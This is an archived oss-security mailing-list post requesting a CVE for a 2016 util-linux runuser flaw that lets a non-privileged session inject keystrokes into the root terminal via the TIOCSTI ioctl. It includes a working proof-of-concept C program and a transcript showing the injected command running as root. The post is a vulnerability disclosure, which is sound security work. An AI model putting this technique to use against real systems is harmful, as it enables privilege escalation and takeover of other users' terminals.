oss-security - CVE Request: util-linux runuser tty hijacking via TIOCSTI ioctl

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20160226155416.82785yodpagwmigw@webmail.alunos.dcc.fc.up.pt>
Date: Fri, 26 Feb 2016 15:54:16 +0100
From: up201407890@...nos.dcc.fc.up.pt
To: oss-security@...ts.openwall.com
Cc: cve-assign@...re.org
Subject: CVE Request: util-linux runuser tty hijacking via TIOCSTI ioctl

This is a similar issue to the one I posted yesterday on oss-sec, but  
to runuser(1) from util-linux, which can only be run as root for the  
purpose of executing programs as another user.

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=815922

When executing a program via "runuser -u nonpriv program" the
nonpriv session can
escape to the parent session by using the TIOCSTI ioctl to push
characters into the
terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" by calling setsid() and in "sudo" by
using the "use_pty" flag

# cat test.c
#include <sys/ioctl.h>

int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}

# gcc test.c -o test
# id saken
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# runuser -u saken ./test ---> last command i type in
id
# id ---> did not type this
uid=0(root) gid=0(root) groups=0(root)

I'd like to request a CVE for this issue.

Thanks,
Federico Bento

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.